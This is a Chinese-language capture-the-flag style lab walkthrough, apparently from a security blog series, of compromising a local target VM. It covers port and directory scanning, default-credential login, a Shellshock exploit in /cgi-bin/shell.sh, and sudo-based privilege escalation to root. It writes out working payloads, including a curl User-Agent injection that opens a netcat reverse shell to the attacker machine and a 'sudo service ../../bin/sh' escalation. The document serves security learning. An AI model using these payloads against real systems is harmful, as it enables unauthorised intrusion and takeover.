声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 10 篇文章
arp-scan -l
靶机的ip:192.168.56.113
kali的ip:192.168.56.102
nmap -sT -O -sV -p- 192.168.56.113
开放了22,80两个端口,22端口开放了ssh服务,80端口运行的是apache的http服务;操作系统检测是linux4.15-5.6
nmap --script=vuln -p22,80 --min-rate=10000 192.168.56.113
--min-rate指的是以最低多少的速率进行探测
从漏洞脚本的检测,发现80端口有/admin_login.php这个目录,那么先对80 端口进行访问
发现是一个类似银行的网站,有4个网页,home下有登录框,尝试一些弱密码admin/admin,admin/passwd,发现都登陆不进去
查看home下的源码,美欧发现有用的注释信息或者代码
访问NEWS页面
也没有信息,但是源码有一个目录信息,cgi-bin,那会不会有这个目录呢
访问/cgi-bin,返回没有找到
先去访问剩下的两个页面,contact.php返回的是一些联系方式,但是访问about us的时候,只是url加了一个#about
那么把contact.php去掉,只是访问#about,还有about,发现#about为home,about没有找到
dirsearch -u http://192.168.56.113
返回了很多403的目录,但是有一些可以利用的目录,/README.md,/admin_login.php,/cgi-bin/,/header.php
挨个进行访问,
发现有文件下载,查看文件,是关于这个网站的信息,不如如何搭建等信息,但是,有一些github的地址,会不会是这个网站的源码
访问这个github地址
还真的是这个网站的源码,先浏览一下子这个介绍,发现有默认的密码
尝试进行登录,发现登陆不了,联想到刚才的目录爆破,有一个/admin_login.php目录,会不会这个是admin的登录后台
发现好像真是admin的登录后台,尝试一下刚才的默认密码,登录成功,但是在旁边的目录中,没有发现类似文件上传的选项,猜测可能有别的漏洞,但是没办法拿到shell,进来了,就查看一下
尝试添加用户,发现有sql注入,但是貌似失去了、注入只是拿到这个网站的用户等信息,没办法拿到shell,故在这里不进行尝试
在上面有这个网站的源码,也有数据库信息,可以找到里面的默认用户,当然也就是adin登录后看到的那4个账号,admin后台中port news这个功能,新建的信息是在网站80的默认页的news页面中展示的信息,也没有可以利用的
发现页面没有信息,源代码也没有
返回403,这个与访问/cgi-bin截然不同,但是它返回403,就代表它的子目录访问不了吗?
尝试对/cgi-bin/进行目录爆破
dirsearch -u http://192.168.56.113/cgi-bin/
发现下面有一个shell.sh返回500,服务器错误
根据/cgi-bin/这个名字,还有下面有一个shell.sh,那么这里可能利用了cgi技术,那么这里可能会不会有破壳漏洞
破壳漏洞(shell),利用整个web应用的软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码执行,反弹shell等操作
破壳漏洞所利用的就是shell的bash类型
根本原因:由于bash解析环境变量当中引用的函数定义的时候,它的过滤和函数定义的界限区分不清晰,而造成了这个漏洞
如果web应用使用了cgi技术,通过外部程序的引用,引用了操作系统的bash来处理一些指令的话,那么就可以把http服务作为访问操作系统shell的通道,向操作系统shell,提交环境变量定义,环境变量定义当中,又引入其他的函数定义,实现目标的手段。
判断和利用:
去寻找web程序下/cgi-bin下是否存在cgi,sh的文件,如果存在,那么就意味着这个web应用程序所引用的外部应用程序就是操作系统的shell
条件:操作系统使用的是bash并且版本老
如果存在cgi或者sh后缀的话,使用nmap进行判断是否有破壳漏洞
那么针对/cgi-bin/shell.sh进行检测和利用
破壳漏洞检测:nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.56.113
使用curl进行进一步探测,自定义一个ua头,然后再u头中自定义一个函数,然后输入操作系统的指令,并查询是否存在nc
curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' which nc '" \http://192.168.56.113/cgi-bin/shell.sh
返回了nc的路径,呢吗可以肯定这里一定存在破壳漏洞,那么这里就可以利用来获取初始shell
反弹shell
curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' nc -e /bin/bash 192.168.56.102 3333 '" \http://192.168.56.113/cgi-bin/shell.sh
反弹成功
python -c 'import pty;pty.spawn("/bin/bash")'
提高交互性
cat /ect/passwd
sudo -l
发现有thor的用户并且当前用户可以用thor的权限无密码运行/home/thor/./hammer.sh
查看一下这个文件,发现没有权限
运行一下这个文件
sudo -u thor /home/thor/./hammer.sh
第一个输入一个key,输入了123,第二个位置要输入机密的消息,输入一个id,发现它返回了thor用户的id,那么第二个位置应该是可以用thor的权限运行命令,那么就可以利用提权,再次运行,在第二个位置输入bash,成功提升为thor用户
python -c 'import pty;pty.spawn("/bin/bash")'
提高交互性
还是一样
sudo -l
发下 可以使用root权限无密码运行/usr/bin/cat, /usr/sbin/service两个命令
这里介绍一个网址,里面有很多的linux提权的巧用妙用
GTFOBins:https://gtfobins.github.io/
可以在上面找到很多命令的巧用妙用
比如service
直接使用里面的sudo权限提权的命令
sudo service ../../bin/sh
提权成功
两个flag
proof.txt
root.txt
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0